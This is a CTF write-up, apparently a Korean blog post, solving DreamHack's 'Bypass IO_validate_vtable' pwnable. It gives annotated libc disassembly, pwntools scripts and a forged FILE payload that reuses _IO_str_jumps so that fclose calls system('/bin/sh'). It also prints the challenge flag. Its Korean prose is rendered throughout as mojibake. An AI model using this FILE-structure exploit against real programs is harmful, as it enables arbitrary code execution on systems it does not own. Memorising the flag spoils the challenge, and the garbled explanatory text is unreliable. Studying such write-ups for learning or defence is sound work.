๋ฌธ์ : DreamHack โ Bypass IO_validate_vtable ๋ถ๋ฅ: pwnable ๋์ด๋: ๐ฅ Gold 3 FLAG:
DH{2eb9fa36f3ffbb948fd525ad7190d263da14eb01af4106a0a037b6ec9662f582}
๋ฐฐํฌ๋ณธ์ ๋ฐ์ด๋๋ฆฌ ํ๋, libc ํ๋, 25์ค์ง๋ฆฌ C ์์ค ํ๋๊ฐ ์ ๋ถ๋ค. ์์ค๊ฐ ์งง์์ ์ทจ์ฝ์ ์ ์ฐพ๋ ๋ฐ๋ 1๋ถ๋ ์ ๊ฑธ๋ฆฐ๋ค.
์ง์ง ๋ฌธ์ ๋ ๊ทธ ๋ค์์ด๋ค. ๋ ์ฐ๋ ๋ฐฉ์์ด ์ด libc ์์๋ abort ๋ก ๋๋๋ค.
file extracted/bypass_valid_vtable && checksec --file=extracted/bypass_valid_vtable
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Bypass IO_validate_vtable |
| ๋์ด๋ | ๐ฅ Gold 3 |
| ๋ถ๋ฅ | pwnable |
| ์ ๊ณต ํ์ผ | bypass_valid_vtable, bypass_valid_vtable.c, libc.so.6, Dockerfile |
| ์คํ | Ubuntu 18.04 ยท glibc 2.27-3ubuntu1 ยท socat ์ผ๋ก TCP ๋ ธ์ถ |
| ๋ณดํธ ๊ธฐ๋ฒ | No PIE ยท Partial RELRO ยท NX ยท ์นด๋๋ฆฌ ์์ |
| ํต์ฌ ์ทจ์ฝ์ | FILE ๊ตฌ์กฐ์ฒด ์ ์ฒด๋ฅผ ์์ ๊ฐ์ผ๋ก ๋ฎ์ ๋ค fclose ๊ฐ ํธ์ถ๋จ |
| ํต์ฌ ๊ธฐ๋ฒ | IO_validate_vtable ์ฐํ โ ์น์
์์ _IO_str_jumps ์ฌ์ฌ์ฉ |
ํ์ด ํ๋ฆ์ ๋ค ์ค๋ก ์์ฝ๋๋ค.
ํ๋ก๊ทธ๋จ์ด stdout ํฌ์ธํฐ๋ฅผ ์ง์ ์ฐ์ด ์ฃผ๋ libc ๋ฒ ์ด์ค๊ฐ ๊ณต์ง๋ก ๋์จ๋ค.
๊ทธ ๊ฐ์ผ๋ก _IO_str_jumps ์ system ์ ์ค์ ์ฃผ์๋ฅผ ๊ณ์ฐํ๋ค.
๊ฐ์ง FILE ์ ๋ง๋ค๋ vtable ์นธ์๋ libc ์ ์๋ ์๋ vtable ์ฃผ์๋ฅผ ๋ฃ๋๋ค.
fclose ๊ฐ ๊ทธ vtable ์ __finish ๋ฅผ ๋ถ๋ฅด๋ฉด system("/bin/sh") ๊ฐ ์คํ๋๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ _IO_FILE, vtable, ๊ทธ๋ฆฌ๊ณ 2.24 ์ ์๊ธด ๋ฒฝ
C ์์ FILE * ๋ก ๋ค๊ณ ๋ค๋๋ ๊ทธ ๊ตฌ์กฐ์ฒด๋ glibc ์์์ struct _IO_FILE ์ด๋ค.
ํฌ๊ธฐ๋ x86-64 ์์ 0xd8 ๋ฐ์ดํธ.
๊ทธ๋ฐ๋ฐ ์ค์ ๋ก ํ ๋น๋๋ ๊ฑด ๊ทธ๊ฒ๋ณด๋ค 8๋ฐ์ดํธ ํฐ struct _IO_FILE_plus ๋ค.
๋ค์ ํจ์ ํฌ์ธํฐ ํ
์ด๋ธ ์ฃผ์๊ฐ ํ๋ ๋ ๋ถ๋๋ค.
struct _IO_FILE_plus
{
_IO_FILE file; /* 0x00 ~ 0xd7 */
const struct _IO_jump_t *vtable; /* 0xd8 */
};freadยทfwriteยทfclose ๊ฐ์ ํจ์๋ ์๊ธฐ๊ฐ ์ง์ ์ผํ์ง ์๋๋ค.
vtable ์์ ํด๋น ์ฌ๋กฏ์ ๊บผ๋ด ํธ์ถํ๋ค. ํ์ผ์ด๋ ๋ฉ๋ชจ๋ฆฌ ์คํธ๋ฆผ์ด๋ ํ์ดํ๋์ ๋ฐ๋ผ
๋์์ด ๋ฌ๋ผ์ ธ์ผ ํ๋ C ๋ก ๊ตฌํํ ๊ฐ์ ํจ์ ํ
์ด๋ธ์ธ ์
์ด๋ค.
_IO_jump_t ๋ ์์ ๋๋ฏธ ๋ ์นธ์ด ์๋ค.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy); /* +0x00 */
JUMP_FIELD(size_t, __dummy2); /* +0x08 */
JUMP_FIELD(_IO_finish_t, __finish); /* +0x10 */
JUMP_FIELD(_IO_overflow_t, __overflow); /* +0x18 */
JUMP_FIELD(_IO_underflow_t, __underflow); /* +0x20 */
/* ... */
};๊ทธ๋์ __finish ๋ vtable ๊ธฐ์ค +0x10 ์ด๋ค. ์ด ์คํ์
์ ๋ค์์ ๊ณ์ ์ด๋ค.
2.23 ๊น์ง๋ ์ด๊ฒ ๊ทธ๋ฅ ๋ซ๋ ธ๋ค
FILE ๊ตฌ์กฐ์ฒด๋ฅผ ๋ฎ์ ์ ์์ผ๋ฉด vtable ํฌ์ธํฐ๋ ๋ฎ์ ์ ์๋ค. ๋ด๊ฐ ํต์ ํ๋ ๋ฉ๋ชจ๋ฆฌ์ ๊ฐ์ง ํ ์ด๋ธ์ ๋ง๋ค๊ณ vtable ์ ๊ทธ์ชฝ์ผ๋ก ๋๋ฆฌ๋ฉด, ๋ค์ stdio ํธ์ถ์์ ์ํ๋ ์ฃผ์๋ก ์ ํํ๋ค.
๋๋ฌด ์ ๋๋๊น glibc 2.24 ์์ ๋ง์๋ค. libio/libioP.h ์ ๊ฒ์ฌ๊ฐ ๋ค์ด๊ฐ๋ค.
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}libc ์์ ์ ์ vtable ๋ค์ ์ ๋ถ __libc_IO_vtables ๋ผ๋ ์ ์ฉ ์น์
์ ๋ชจ์ฌ ์๋ค.
vtable ํฌ์ธํฐ๊ฐ ๊ทธ ์น์
๋ฐ์ ๊ฐ๋ฆฌํค๋ฉด _IO_vtable_check() ๋ก ๋น ์ง๊ณ ,
๊ฑฐ๊ธฐ์๋ ์ ๋นํ ์ฌ์ (dlopen ๋ ํ์ฅ ๋ฑ)๊ฐ ์์ผ๋ฉด ํ๋ก์ธ์ค๋ฅผ ์ฃฝ์ธ๋ค.
์ด ๋ฌธ์ ์ ๋ชฉ์ด ๋งํ๋ ๊ฒ ์ ํํ ๊ทธ ๊ฒ์ฌ๋ค. ๋จผ์ ๋์ libc ๋ฅผ ํ์ธํ๋ค.
strings extracted/libc.so.6 | grep "GNU C Library" && readelf -S extracted/libc.so.6 | grep -A1 __libc_IO_vtables
2.27-3ubuntu1. ๊ฒ์ฌ๊ฐ ์ด์ ์๋ ๋ฒ์ ์ด๋ค.
๊ทธ๋ฆฌ๊ณ ์น์
์ 0x3e7760 ๋ถํฐ 0xd68 ๋ฐ์ดํธ โ ์ฆ 0x3e7760 ~ 0x3e84c8 ์ด๋ค.
์ด ๋ฒ์๋ ์์ผ๋ก ๊ณ์ ๋์จ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ 25์ค์ด ์ฃผ๋ ๊ฒ
๋ฐฐํฌ๋ ์์ค ์ ๋ฌธ์ด๋ค. ์ ๋ง ์ด๊ฒ ์ ๋ถ๋ค.
// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie
#include <stdio.h>
#include <unistd.h>
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
init();
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}์ฝ์ ๊ฒ ์ธ ์ค๋ฟ์ด๋ค.
fopen ์ด ํ์ FILE ์ ํ๋ ๋ง๋ ๋ค. /dev/urandom ์ธ ๊ฑด ์๋ฌด ์๋ฏธ ์๊ณ ,
๊ทธ๋ฅ "์ ์์ ์ธ ํ์ผ ์คํธ๋ฆผ ํ๋"๊ฐ ํ์ํ์ ๋ฟ์ด๋ค.
printf("stdout: %p\n", stdout) ๊ฐ _IO_2_1_stdout_ ์ ๋ฐํ์ ์ฃผ์๋ฅผ ๊ทธ๋๋ก ์ฐ๋๋ค.
libc ๋ฒ ์ด์ค๋ฅผ ๊ตฌํ๋ ๋ฐ ์ฝ์ง์ด ํ์ ์๋ค๋ ๋ป์ด๋ค.
๊ทธ๋ฆฌ๊ณ read(0, fp, 300). ์ฒซ ์ธ์๊ฐ &fp ๊ฐ ์๋๋ผ fp ๋ค.
ํฌ์ธํฐ ๋ณ์๊ฐ ์๋๋ผ ๊ทธ ํฌ์ธํฐ๊ฐ ๊ฐ๋ฆฌํค๋ ํ ๊ตฌ์กฐ์ฒด์ 300๋ฐ์ดํธ๋ฅผ ์ด๋ค.
FILE ์ด 0xd8 ๋ฐ์ดํธ๊ณ vtable ํฌ์ธํฐ๊น์ง ํฉ์ณ๋ 0xe0 ์ด๋, 300(0x12c)๋ฐ์ดํธ๋ฉด
๊ตฌ์กฐ์ฒด๋ฅผ ๋ค ๋ฎ๊ณ ๋ ๋จ๋๋ค.
๋ง์ง๋ง fclose(fp) ๊ฐ ๊ทธ ์์กฐ ๊ตฌ์กฐ์ฒด๋ฅผ ๋ค๊ณ stdio ์์ผ๋ก ๋ค์ด๊ฐ๋ค.
์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค. ๋ฎ์ ์ ์๋ ๊ฑด FILE ์ ์ฒด, ํธ๋ฆฌ๊ฑฐ๋ fclose ํ ๋ฐฉ.
๋จ์ ์ง๋ฌธ์ ํ๋๋ค โ fclose ๋ ์ด ๊ตฌ์กฐ์ฒด์ ์ด๋ ์นธ์ ์ค์ ๋ก ์ฝ๋๊ฐ.
๐งฑ fclose ๊ฐ ์ค์ ๋ก ์ง๋๊ฐ๋ ๊ธธ
์์ค๋ง ๋ณด๊ณ ์ถ์ธกํ๋ฉด ํ๋ฆฐ๋ค. glibc ์์ค๋ ๋ฒ์ ๋ง๋ค ๋ค๋ฅด๊ณ , ์ปดํ์ผ๋ฌ๊ฐ ์ธ๋ผ์ธยท์ต์ ํ๋ฅผ ํด ๋ฒ๋ฆฌ๋ฉด ์ค์ ์ฝ๋๋ ๋ ๋ฌ๋ผ์ง๋ค. ๋ฐฐํฌ๋ ๊ทธ libc ๋ฅผ ์ง์ ๋ฏ์ด๋ณด๋ ๊ฒ ๋ง๋ค.
objdump -d --start-address=0x7e250 --stop-address=0x7e2be extracted/libc.so.6 | sed -f annot_fclose.sed์ฃผ์์ sed ๋ก ๋ด๊ฐ ๋ถ์ธ ๊ฒ์ด๊ณ , ๋๋จธ์ง๋ objdump ์ถ๋ ฅ ๊ทธ๋๋ก๋ค.
์ด ๊ท์น ํ์ผ(annot_fclose.sed)์ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
/ 7e254:/s/$/ <-- eax = fp->_flags/
/ 7e259:/s/$/ <-- _IO_IS_FILEBUF(0x2000) ๊ฒ์ฌ/
/ 7e264:/s/$/ <-- _IO_USER_LOCK(0x8000) ๊ฒ์ฌ/
/ 7e27c:/s/$/ <-- _lock ์ญ์ฐธ์กฐ (USER_LOCK ์ด๋ฉด ์ฌ๊ธฐ ์ ์จ๋ค)/
/ 7e28d:/s/$/ <-- r12 = fp+0xd8 = vtable/
/ 7e294:/s/$/ <-- __start___libc_IO_vtables/
/ 7e29b:/s/$/ <-- __stop___libc_IO_vtables/
/ 7e2a2:/s/$/ <-- rax = ์น์
๊ธธ์ด/
/ 7e2a8:/s/$/ <-- rcx = vtable - ์น์
์์/
/ 7e2ae:/s/$/ <-- ์น์
๋ฐ์ด๋ฉด _IO_vtable_check() = abort/
/ 7e2b9:/s/$/ <-- _IO_FINISH: vtable+0x10 ํธ์ถ/
์ด ํ ์ฅ์ ํ์ํ ์ ๋ณด๊ฐ ๋ค ์๋ค. ์์๋๋ก ์ฝ์ผ๋ฉด ์ด๋ ๋ค.
7e254 ~ 7e25c โ _flags ๋ฅผ ์ฝ์ด test $0x20,%ah ๋ก ๊ฒ์ฌํ๋ค.
ah ๋ eax ์ 8~15๋นํธ๋๊น 0x20 << 8 = 0x2000, ์ฆ _IO_IS_FILEBUF ๋ค.
์ด๊ฒ ์ผ์ ธ ์์ผ๋ฉด 7e308 ๋ก ๋ฐ์ด _IO_un_link โ _IO_file_close_it ์ฝ์ค๋ฅผ ํ๋ค.
๊ทธ ๊ธธ์ _chain ๋ฆฌ์คํธ๋ฅผ ๊ฑท๊ณ _fileno ๋ก close(2) ๋ฅผ ๋ถ๋ฅด๋, ์ ๊ฒฝ ์ธ ๊ฒ ๋ง์ ๊ธธ์ด๋ค.
๋๋ฉด ๊ทธ๋ฅ ์ ๊ฐ๋ค.
7e264 โ and $0x8000,%edx ๋ก _IO_USER_LOCK ์ ๋ณธ๋ค.
์ด๊ฒ 0์ด๋ฉด 7e314 ๋ก ๋ด๋ ค๊ฐ ๋ฝ์ ์ก๋๋ฐ, ๊ฑฐ๊ธฐ์ 0x88(%rbx) ์ฆ _lock ์ ์ญ์ฐธ์กฐํ๋ค.
์ผ์ ธ ์์ผ๋ฉด ๊ทธ ๋ธ๋ก์ ํต์งธ๋ก ๊ฑด๋๋ด๋ค.
7e27c โ ๋ฝ ํด์ ์ชฝ๋ ๋ง์ฐฌ๊ฐ์ง๋ค. mov 0x88(%rbx),%rdx ๋ค์ subl $0x1,0x4(%rdx).
๋ฐ๋ก ์ 7e278: test %edx,%edx / jne 7e28d ๋๋ฌธ์ _IO_USER_LOCK ์ด ์ผ์ ธ ์์ผ๋ฉด
์ฌ๊ธฐ๋ ์ ์จ๋ค.
์ด๊ฒ ์ด ๋ฌธ์ ์์ ์ ์ผ ๋ง์์ ๋ ๋ฐ๊ฒฌ์ด์๋ค.
๋ณดํต ์์กฐ FILE ์ ๋ง๋ค ๋๋ _lock ์ "์ฐ๊ธฐ ๊ฐ๋ฅํ 0์ผ๋ก ์ฑ์์ง ์ฃผ์"๋ฅผ ์ฐพ์ ๋ฃ์ด์ผ ํ๋ค.
๊ทธ๋ฐ๋ฐ ํ๋๊ทธ ๋นํธ ํ๋๋ก ๊ทธ ์๊ตฌ์ฌํญ ์์ฒด๊ฐ ์ฌ๋ผ์ง๋ค.
7e28d ~ 7e2ae โ IO_validate_vtable ์ด ์ธ๋ผ์ธ๋ ์๋ฆฌ๋ค.
lea ๋ ๊ฐ๊ฐ 0x3e7760(์์)๊ณผ 0x3e84c8(๋)์ ๊ทธ๋๋ก ์์๋ก ๋ฐ์ ๋จ๋ค.
rax = ๋ - ์์ = 0xd68, rcx = vtable - ์์.
cmp %rcx,%rax ํ jbe ๋ฉด _IO_vtable_check ๋ก ๊ฐ๋ค.
์ฆ rcx ๊ฐ 0xd68 ๋ณด๋ค ์์์ผ ํต๊ณผํ๋ค.
7e2b9 โ call *0x10(%r12). _IO_FINISH, ๊ณง vtable ์ __finish ์ฌ๋กฏ์ด๋ค.
โถ๐ณ๏ธ ์ฝ์ง 1 โ ์์ ๋ฐฉ์๋๋ก vtable ์ ์ฎ๊ฒจ ๋ดค๋ค
๊ฒ์ฌ๊ฐ ์๋ค๋ ๊ฑธ ๋จธ๋ฆฌ๋ก๋ ์์๋, ์ค์ ๋ก ์ด๋ป๊ฒ ์ฃฝ๋์ง๋ ํ ๋ฒ ๋ด์ผ ๊ฐ์ด ์จ๋ค. 2.23 ์์ ๋ฐฉ์ ๊ทธ๋๋ก vtable ์ ์ฐ๋ฆฌ๊ฐ ์๋ ์๋ฌด ์ฃผ์๋ก ๋๋ ค ๋ดค๋ค.
๋ฌธ์ ๋ "์๋ ์ฃผ์"๊ฐ ๋ณ๋ก ์๋ค๋ ๊ฒ์ด๋ค. ํ ์ฃผ์๋ ์ ์๊ณ , ๋ฐ์ด๋๋ฆฌ ์์ญ์ ์ฐ๋ฆฌ๊ฐ ์ด ๊ฐ์ด ์๋ค.
๊ฒฐ๊ตญ ์ ์ถ๋ _IO_2_1_stdout_ ์๊ธฐ ์์ ์ ๋ฃ์ด ๋ดค๋ค. ์ด์ฐจํผ ์์ ์
"์น์
๋ฐ์ด๋ฉด ๋ฌด์จ ์ผ์ด ๋๋๊ฐ"๋ผ ์ด๋๋ฅผ ๊ฐ๋ฆฌํค๋ ๊ฐ๋ค.
#!/usr/bin/env python3
# glibc 2.23 ์์ ๋ฐฉ์ โ vtable ์ ์ฐ๋ฆฌ๊ฐ ์๋ ์๋ฌด ์ฃผ์๋ก๋ ๋๋ ค ๋ณธ๋ค.
from pwn import *
import sys
context.arch = 'amd64'
context.log_level = 'warn'
IO_2_1_stdout_ = 0x3ec760
p = process('./local/bypass_valid_vtable')
p.recvuntil(b'stdout: ')
libc = int(p.recvline().strip(), 16) - IO_2_1_stdout_
print('[*] libc base = %#x' % libc)
# ์ฐ๋ฆฌ๊ฐ ์ค์ ๋ก ์๋ ์ ์ผํ libc ์ฃผ์ = _IO_2_1_stdout_ ์์ฒด.
# __libc_IO_vtables(libc+0x3e7760 ~ libc+0x3e84c8) ๋ฐ์ด๋ค.
fake_vtable = libc + IO_2_1_stdout_
print('[*] fake vtable = %#x (__libc_IO_vtables ๋ฐ)' % fake_vtable)
payload = p64(0xfbad8000)
payload += b'\x00' * (0xd8 - 8)
payload += p64(fake_vtable)
payload += b'\x00' * (300 - len(payload))
p.recvuntil(b'Data: ')
p.send(payload)
print('[*] fclose() ๊ฒฐ๊ณผ:')
print(p.recvall(timeout=3).decode(errors='replace').strip())
print('[*] ์ข
๋ฃ ์ํ =', p.poll(block=True))
Fatal error: glibc detected an invalid stdio handle
[*] ์ข
๋ฃ ์ํ = -6-6 ์ SIGABRT. _IO_vtable_check ๊ฐ __libc_fatal ๋ก ํ๋ก์ธ์ค๋ฅผ ๋๋ธ ๊ฒ์ด๋ค.
์ฌ๊ธฐ์ ์ ์ ์๋ ๊ฒ ํ๋ ๋ ์๋ค. ์ด ๋ฉ์์ง๊ฐ ๋ฌ๋ค๋ ๊ฑด vtable ์ ์ฝ๋ ๋ฐ๊น์ง๋ ๊ฐ๋ค๋ ๋ป์ด๋ค.
์ฆ _flags ์กฐ์(_IO_IS_FILEBUF ๋๊ธฐ, _IO_USER_LOCK ์ผ๊ธฐ)์ ์ด๋ฏธ ์ ๋๋ก ๋จนํ๊ณ ,
๋งํ ๊ฑด ๋ฑ vtable ํ ์นธ์ด๋ค. ์คํจ ์ง์ ์ด ์ ํํ ์ด๋์ธ์ง ์๊ณ ๋์ด๊ฐ๋ฉด ๋ค์ ์๊ฐ ์งง์์ง๋ค.
๐ฃ ํต์ฌ โ ์น์ ์์ ์๋ ์ง์ง vtable ์ ๋น๋ฆฐ๋ค
๊ฒ์ฌ ์กฐ๊ฑด์ ๋ค์ ๋ณด๋ฉด, ์๊ตฌํ๋ ๊ฑด ํ๋๋ค.
vtable ์ด __libc_IO_vtables ์น์
์์ ์์ ๊ฒ.
๊ทธ ์์ ์์ผ๋ฉด ๋ด์ฉ์ด ๋ญ๋ ์๊ดํ์ง ์๋๋ค.
๊ทธ๋ฐ๋ฐ ๊ทธ ์น์
์๋ libc ๊ฐ ์ฐ๋ผ๊ณ ๋ง๋ค์ด ๋ vtable ์ด ์ฌ๋ฌ ๊ฐ ๋ค์ด ์๋ค.
_IO_file_jumps, _IO_wfile_jumps, _IO_proc_jumps, _IO_mem_jumps, _IO_str_jumpsโฆ
FILE * ๋ฅผ fopen ์ผ๋ก ์ด๋ฉด _IO_file_jumps ๊ฐ ๋ถ๋๋ค.
๊ทธ๋ฐ๋ฐ sprintf ์ฒ๋ผ ๋ฉ๋ชจ๋ฆฌ ๋ฒํผ๋ฅผ ์คํธ๋ฆผ์ฒ๋ผ ์ฐ๋ ํจ์๋ ๋ค๋ฅธ ๊ฑธ ์ด๋ค.
๋ฌธ์์ด ์คํธ๋ฆผ์ฉ _IO_str_jumps ๋ค. ๊ทธ vtable ์ __finish ์ฌ๋กฏ์ ๊ฑธ๋ฆฐ ํจ์๋ฅผ ๋ณด์.
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}_IO_strfile ์ _IO_FILE_plus ๋ค์ ๋ ์นธ์ด ๋ ๋ถ์ ๊ตฌ์กฐ์ฒด๋ค.
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer; /* +0xe0 */
_IO_free_type _free_buffer; /* +0xe8 */
};์ ๋ฆฌํ๋ฉด _IO_str_finish ๋ ์ด๋ ๊ฒ ๋์ํ๋ค.
fp->_IO_buf_base(+0x38)๊ฐ NULL ์ด ์๋๊ณ_flags & _IO_USER_BUF(0x1)๊ฐ ๊บผ์ ธ ์์ผ๋ฉด*(fp+0xe8)์ ํจ์๋ก ํธ์ถํ๋ค. ์ธ์๋fp->_IO_buf_base.
+0x38 ๊ณผ +0xe8. ๋ ๋ค ์ฐ๋ฆฌ๊ฐ ๋ฎ๋ 300๋ฐ์ดํธ ์์ ์๋ค.
+0x38 ์ "/bin/sh" ์ฃผ์๋ฅผ, +0xe8 ์ system ์ฃผ์๋ฅผ ๋ฃ์ผ๋ฉด ๊ทธ๋๋ก ์
ธ์ด๋ค.
_IO_str_jumps ์ฃผ์ ๊ตฌํ๊ธฐ โ ์ฌ๋ณผ์ด ์๋ค
๋ฌธ์ ๋ _IO_str_jumps ๊ฐ static const ๋ผ ๋ฐฐํฌ libc ์์ ์ฌ๋ณผ์ด ์ ๋จ๋๋ค๋ ๊ฒ์ด๋ค.
nm ์ผ๋ก๋ ์ ๋์ค๊ณ pwntools ELF.symbols ๋ก๋ ์ ์กํ๋ค.
๊ทธ๋์ ๋ ๋จ์๋ก ์ขํ๋ค.
_IO_str_jumps๋__libc_IO_vtables์น์ ์์ ์๋ค.- ๊ทธ vtable ์
__overflow(+0x18) ์ฌ๋กฏ์_IO_str_overflow์ธ๋ฐ, ์ด๊ฑด export ๋ผ ์๋ค.
์น์
์์์ _IO_str_overflow ์ฃผ์๊ฐ ํต์งธ๋ก ๋ฐํ ์๋ฆฌ๋ฅผ ์ฐพ๊ณ , ๊ฑฐ๊ธฐ์ 0x18 ์ ๋นผ๋ฉด
vtable ์์์ด๋ค. ๋ค๋ง _IO_mem_jumps(open_memstream ์ฉ)๋ __overflow ๊ฐ ๊ฐ์ ํจ์๋ผ
ํ๋ณด๊ฐ ๋ ๋์จ๋ค. ๊ทธ๊ฑด __finish ์ฌ๋กฏ์ผ๋ก ๊ฐ๋ฅธ๋ค โ _IO_str_finish ๋
_IO_str_overflow ์ ๊ฐ์ ํ์ผ(strops.c)์ ์์ด ์ฃผ์๊ฐ ๊ฐ๊น๋ค.
#!/usr/bin/env python3
# ์คํธ๋ฆฝ๋ libc ์์ _IO_str_jumps ์ ์คํ์
์ ์ฐพ๋๋ค.
#
# _IO_str_jumps ๋ static const ๋ผ ์ฌ๋ณผ์ด ์ ๋จ๋๋ค. ํ์ง๋ง
# (1) __libc_IO_vtables ์น์
์์ ์๊ณ ,
# (2) +0x18(__overflow) ์นธ์ด _IO_str_overflow โ ์ด๊ฑด export ๋ผ ์๋ค.
# ์ด ๋๋ก ํ๋ณด๋ฅผ ์ขํ ๋ค, +0x10(__finish) ์ด _IO_str_finish ์ธ ์ชฝ์ ๊ณ ๋ฅธ๋ค.
# (_IO_mem_jumps ๋ __overflow ๊ฐ _IO_str_overflow ๋ผ ํ๋ณด๋ก ๊ฐ์ด ๊ฑธ๋ฆฐ๋ค.)
import struct
from pwn import ELF
PATH = 'extracted/libc.so.6'
lib = ELF(PATH, checksec=False)
data = open(PATH, 'rb').read()
# __libc_IO_vtables ์น์
๊ฒฝ๊ณ โ IO_validate_vtable ์ด ์ด ๋ฒ์๋ก ๊ฒ์ฌํ๋ค
sec = lib.get_section_by_name('__libc_IO_vtables')
start, size = sec.header.sh_addr, sec.header.sh_size
delta = sec.header.sh_addr - sec.header.sh_offset # ํ์ผ์คํ์
โ ๊ฐ์์ฃผ์
print('[section] __libc_IO_vtables = %#x .. %#x (len %#x)' % (start, start + size, size))
str_overflow = lib.symbols['_IO_str_overflow']
print('[symbol ] _IO_str_overflow = %#x' % str_overflow)
needle = struct.pack('<Q', str_overflow)
off = 0
while True:
i = data.find(needle, off)
if i < 0:
break
off = i + 1
vt = i - 0x18 + delta # __overflow ๋ vtable+0x18
if not (start <= vt < start + size):
continue # ์น์
๋ฐ์ด๋ฉด vtable ์ด ์๋๋ค
finish = struct.unpack('<Q', data[i - 0x18 + 0x10:i - 0x18 + 0x18])[0]
name = '_IO_str_jumps' if abs(finish - str_overflow) < 0x1000 else '_IO_mem_jumps'
print('[cand ] vtable=%#x __finish=%#x โ %s' % (vt, finish, name))
_IO_str_jumps = 0x3e8360, __finish = _IO_str_finish = 0x90300.
์น์
์์์ด 0x3e7760 ์ด๋ ์คํ์
์ 0x3e8360 - 0x3e7760 = 0xc00.
0xd68 ๋ณด๋ค ์๋ค. ๊ฒ์ฌ๋ฅผ ํต๊ณผํ๋ค.
๋ค๋ฅธ ๊ฒฝ๋ก๋ก ํ ๋ฒ ๋ ํ์ธ
์คํฌ๋ฆฝํธ ํ๋ ๋๋ ค ๋์จ ๊ฐ์ด๋ผ ์ฐ์ฐํ๋ฉด, ์์ ํ ๋ค๋ฅธ ๊ฐ๋์์ ๋์กฐํ ์ ์๋ค.
vsprintf ๋ ์คํ์ _IO_strfile ์ ๋ง๋ค๊ณ ๊ฑฐ๊ธฐ์ _IO_str_jumps ๋ฅผ ์ฌ๋๋ค.
๊ทธ ์ฝ๋์ ์ฃผ์๊ฐ ์์๋ก ๋ฐํ ์์ ๊ฒ์ด๋ค.
objdump -d --start-address=0x81690 --stop-address=0x816c3 extracted/libc.so.6 | sed -f annot_vsprintf.sed/ 8169a:/s/$/ <-- _IO_no_init: ์คํ์ _IO_strfile ์ด๊ธฐํ/
/ 8169f:/s/$/ <-- rax = 0x3e8360 = _IO_str_jumps/
/ 816b6:/s/$/ <-- ๊ทธ ๊ฐ์ strfile+0xd8(vtable ์นธ)์ ์ ์ฅ/
/ 816be:/s/$/ <-- _IO_str_init_static_internal/
lea 0x366cba(%rip),%rax ์ ๊ณ์ฐ ๊ฒฐ๊ณผ๊ฐ ์ฃผ์์ผ๋ก # 3e8360 ์ด๋ผ ์ฐํ ์๊ณ ,
๊ทธ ๊ฐ์ด 0xd8(%rsp) ์ ์ ์ฅ๋๋ค. _IO_FILE_plus ์ vtable ์นธ์ด๋ค.
์คํฌ๋ฆฝํธ๊ฐ ์ฐพ์ ๊ฐ๊ณผ ์ ํํ ๊ฐ๋ค.
_IO_str_finish ๋ ์ง์ ํ์ธ
C ์์ค๋ ์ฐธ๊ณ ์ผ ๋ฟ์ด๊ณ , ์ค์ ๋ก ๋๋ ๊ฑด ์ด libc ์ ๊ธฐ๊ณ์ด๋ค.
objdump -d --start-address=0x90300 --stop-address=0x9032b extracted/libc.so.6 | sed -f annot_str_finish.sed/ 90304:/s/$/ <-- rdi = fp->_IO_buf_base/
/ 9030b:/s/$/ <-- NULL ์ด๋ฉด ๊ฑด๋๋/
/ 9030d:/s/$/ <-- _flags \& _IO_USER_BUF(0x1)/
/ 90310:/s/$/ <-- ์ผ์ ธ ์์ผ๋ฉด ๊ฑด๋๋/
/ 90312:/s/$/ <-- fp+0xe8 ์ ํจ์๋ก ํธ์ถ = system("\/bin\/sh")/
/ 90326:/s/$/ <-- _IO_default_finish ๋ก tail-call/
๊ธฐ๊ณ์ด 12์ค์ด ์์ค์ ํ ์ค์ฉ ๋์ํ๋ค.
90300: push %rbx
90301: mov %rdi,%rbx ; rbx = fp
90304: mov 0x38(%rdi),%rdi ; rdi = fp->_IO_buf_base
90308: test %rdi,%rdi
9030b: je 90318 ; NULL ์ด๋ฉด ํธ์ถ ์ ํจ
9030d: testb $0x1,(%rbx) ; _flags & _IO_USER_BUF
90310: jne 90318 ; ์ผ์ ธ ์์ผ๋ฉด ํธ์ถ ์ ํจ
90312: call *0xe8(%rbx) ; โ
์ฌ๊ธฐ์ธ์๊ฐ rdi = fp->_IO_buf_base ๋ก ์ด๋ฏธ ์ธํ
๋ ์ฑ๋ก *(fp+0xe8) ์ ๋ถ๋ฅธ๋ค.
system ์ ์ฒซ ์ธ์๊ฐ rdi ๋ ๋ฑ ๋ง๋๋ค. ๊ฐ์ ฏ์ ์ฐพ์ ํ์๋ ์๋ค.
๐ฏ ํ์ด๋ก๋ ์กฐ๋ฆฝ โ ๊ฒฐ๊ตญ _flags ์ธ ๋นํธ
์ง๊ธ๊น์ง ๋์จ ์กฐ๊ฑด์ ๋ค ๋ชจ์ผ๋ฉด ์ค์ ๋ก ์ฑ์์ผ ํ ์นธ์ ๋ค ๊ฐ๋ฟ์ด๋ค.
| ์คํ์ | ํ๋ | ๊ฐ | ์ด์ |
|---|---|---|---|
0x00 | _flags | 0xfbad8000 | ์๋ ํ ์ฐธ๊ณ |
0x38 | _IO_buf_base | libc + 0x1b3e9a | _IO_str_finish ๊ฐ rdi ๋ก ๋๊ธธ "/bin/sh" |
0xd8 | vtable | libc + 0x3e8360 | _IO_str_jumps โ ์น์
์์ด๋ผ ๊ฒ์ฌ ํต๊ณผ |
0xe8 | _s._free_buffer | libc + 0x4f440 | ์ค์ ๋ก ํธ์ถ๋๋ ์นธ = system |
